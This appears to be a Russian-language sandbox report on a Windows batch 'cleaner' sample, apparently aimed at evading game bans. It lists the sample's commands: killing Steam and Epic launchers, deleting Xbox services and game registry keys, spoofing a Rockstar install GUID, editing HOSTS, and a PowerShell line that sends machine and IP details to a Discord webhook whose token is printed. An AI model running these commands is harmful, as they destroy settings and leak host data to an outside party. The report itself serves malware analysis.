Техническая информация
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /IM steam.exe /F
- '<SYSTEM32>\taskkill.exe' /IM EpicGamesLauncher.exe /F
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ixp000.tmp\cleaner w webhook.bat
- nul
Изменяет файл HOSTS.
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Cleaner w webhook.bat"
- '<SYSTEM32>\sc.exe' delete XboxGipSvc
- '<SYSTEM32>\cmd.exe' /c echo
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "& {Get-AppxPackage -AllUsers xbox | Remove-AppxPackage}"
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\xbgm" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\XblGameSave\XblGameSaveTask" /disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\XblGameSave\XblGameSaveTaskLogon" /disableL
- '<SYSTEM32>\ipconfig.exe'
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\GameDVR" /v AllowGameDVR /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\CitizenFX" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Valve" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\nk" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Rockstar Games\InstallGUID" /f /v gta5 /t REG_SZ /d {d4237521-fe75-121b-bbcc-b4457fe7d321}
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\XblGameSave\XblGameSaveTaskLogon" /disable
- '<SYSTEM32>\sc.exe' delete XblGameSave
- '<SYSTEM32>\sc.exe' delete XboxNetApiSvc
- '<SYSTEM32>\sc.exe' delete XblAuthManager
- '<SYSTEM32>\sc.exe' stop XboxGipSvc
- '<SYSTEM32>\sc.exe' stop XboxNetApiSvc
- '<SYSTEM32>\timeout.exe' /t 2 /nobreak
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\timeout.exe' /t 1 /nobreak
- '<SYSTEM32>\cmd.exe' /c whoami
- '<SYSTEM32>\whoami.exe'
- '<SYSTEM32>\takeown.exe' /A /R /D Y /F %WINDIR%\temp
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\INextUUID" /f
- '<SYSTEM32>\cmd.exe' /c ipconfig | find "IPv4 Address"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$uri = 'https://discord.com/api/webhooks/1255168140313366539/TVjgik279evN7m8eEF_2YzfjUn7MNZnRq1qVJVqcfVzPGiOhgQCeH3w1euLwMWj14kl_';" "$body = @{ content = '**Client:** ...
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Valve\Steam" /v AutoLoginUser /t REG_SZ /d user /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Valve\Steam" /v RememberPassword /t REG_DWORD /d 1 /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-AppxPackage *Xbox* | Remove-AppxPackage
- '<SYSTEM32>\sc.exe' stop XblAuthManager
- '<SYSTEM32>\sc.exe' stop XblGameSave
- '<SYSTEM32>\mode.com' 70, 20
- '<SYSTEM32>\find.exe' "IPv4 Address"
- '<SYSTEM32>\icacls.exe' %WINDIR%\temp /grant administradores:F /T /C
